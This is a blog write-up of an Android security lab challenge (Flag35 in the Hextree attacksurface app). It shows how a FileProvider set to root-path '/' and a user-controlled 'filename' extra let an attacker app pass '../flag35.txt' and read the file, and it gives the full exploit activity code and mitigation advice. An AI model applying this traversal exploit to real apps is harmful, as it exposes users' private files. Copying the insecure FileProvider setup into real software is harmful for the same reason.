Post

Insecure root-path FileProvider Config Leading to Path Traversal Vulnerability

Insecure root-path FileProvider Config Leading to Path Traversal Vulnerability

Hello, hackers! In this article, I will explain how an insecure root-path FileProvider configuration can lead to a path traversal vulnerability, allowing an attacker to access unauthorized files.

Let’s dive into this exciting vulnerability!

1. Analyzing the AndroidManifest.xml File

While analyzing the AndroidManifest.xml file, I found an interesting FileProvider configuration:

With this meta-data code:

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>
<paths>
    <root-path
        name="root_files"
        path="/"/>
</paths>

This configuration means that the FileProvider⁣ allows access to any file in the entire filesystem using getUriForFile().

2. Identifying the Vulnerable Activity

Next, I found an activity that uses this FileProvider. Let’s analyze the code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 @Override 
    public void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        String stringExtra = getIntent().getStringExtra("filename");
        if (stringExtra != null) {
            prepareFlag(this, stringExtra);
            Uri uriForFile = FileProvider.getUriForFile(this, "io.hextree.root", new File(getFilesDir(), stringExtra));
            Intent intent = new Intent();
            intent.setData(uriForFile);
            intent.addFlags(3);
            setResult(0, intent);
            return;
        }
        Uri uriForFile2 = FileProvider.getUriForFile(this, "io.hextree.root", new File(getFilesDir(), "secret.txt"));
        Intent intent2 = new Intent();
        intent2.setData(uriForFile2);
        intent2.addFlags(3);
        setResult(-1, intent2);
    }

    void prepareFlag(Context context, String str) {
        if (str.contains("flag35.txt") && new File(getFilesDir(), str).exists()) {
            LogHelper logHelper = new LogHelper(context);
            logHelper.addTag("flag35");
            logHelper.addTag("root-provider");
            Utils.writeFile2(this, "flag35.txt", logHelper.appendLog(FLAG));
        }
    }

Key Findings

  1. The FileProvider allows handling arbitrary paths.
  2. The addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION); grants read/write access.
  3. The filename parameter is user-controlled, making it vulnerable to path traversal.

3. Exploiting the Vulnerability

Step 1: Inspect Incoming Intent Data

To analyze the incoming intent data, I wrote the following code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        Intent intent = new Intent();
        intent.setClassName("io.hextree.attacksurface",
                "io.hextree.attacksurface.activities.Flag35Activity");
        startActivityForResult(intent, 42);

    }

    @Override
    protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
        Utils.showDialog(this, data);
        super.onActivityResult(requestCode, resultCode, data);

    }

The displayed data indicates that the activity accesses a default file path ended by secert.txt. Can we manipulate this to retrieve flag35.txt?

Step 2: Exploiting Path Traversal

Since the filename parameter is user-controlled, I attempted to inject "./flag35.txt":

1
intent.putExtra("filename", "./flag35.txt");

and I get this Data URI:

so now I used ../ to traverse directories for get one rime back:

1
intent.putExtra("filename", "../flag35.txt");

Step 3: Final Exploitation Code

The final exploit reads the contents of flag35.txt:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
@Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        Intent intent = new Intent();
        intent.putExtra("filename", "../flag35.txt");
        intent.setClassName("io.hextree.attacksurface",
                "io.hextree.attacksurface.activities.Flag35Activity");
        startActivityForResult(intent, 42);

    }

    @Override
    protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
        Log.i("Data", "Uri: "+data.getData());
        try {
            InputStream inputStream = getContentResolver().openInputStream(data.getData());
            BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
            String line;
            while ((line = reader.readLine()) != null){
                Log.d("Kero", " [*] "+line);
            }
        }catch (IOException e) {}
        Utils.showDialog(this, data);
        super.onActivityResult(requestCode, resultCode, data);

    }

Step 4: Retrieving the Flag

The flag is now visible in logcat :

Mitigation

To prevent this vulnerability:

  • Avoid using root-path in FileProvider. Instead, define strict subdirectories.
  • Sanitize and validate user input.
  • Apply strict permissions to prevent unauthorized access.

Conclusion

This write-up demonstrated how an insecure root-path FileProvider configuration can lead to a path traversal vulnerability, allowing an attacker to access arbitrary files. By understanding and mitigating such misconfigurations, we can build more secure Android applications.

THANKS FOR READING ❤️

This post is licensed under CC BY 4.0 by the author.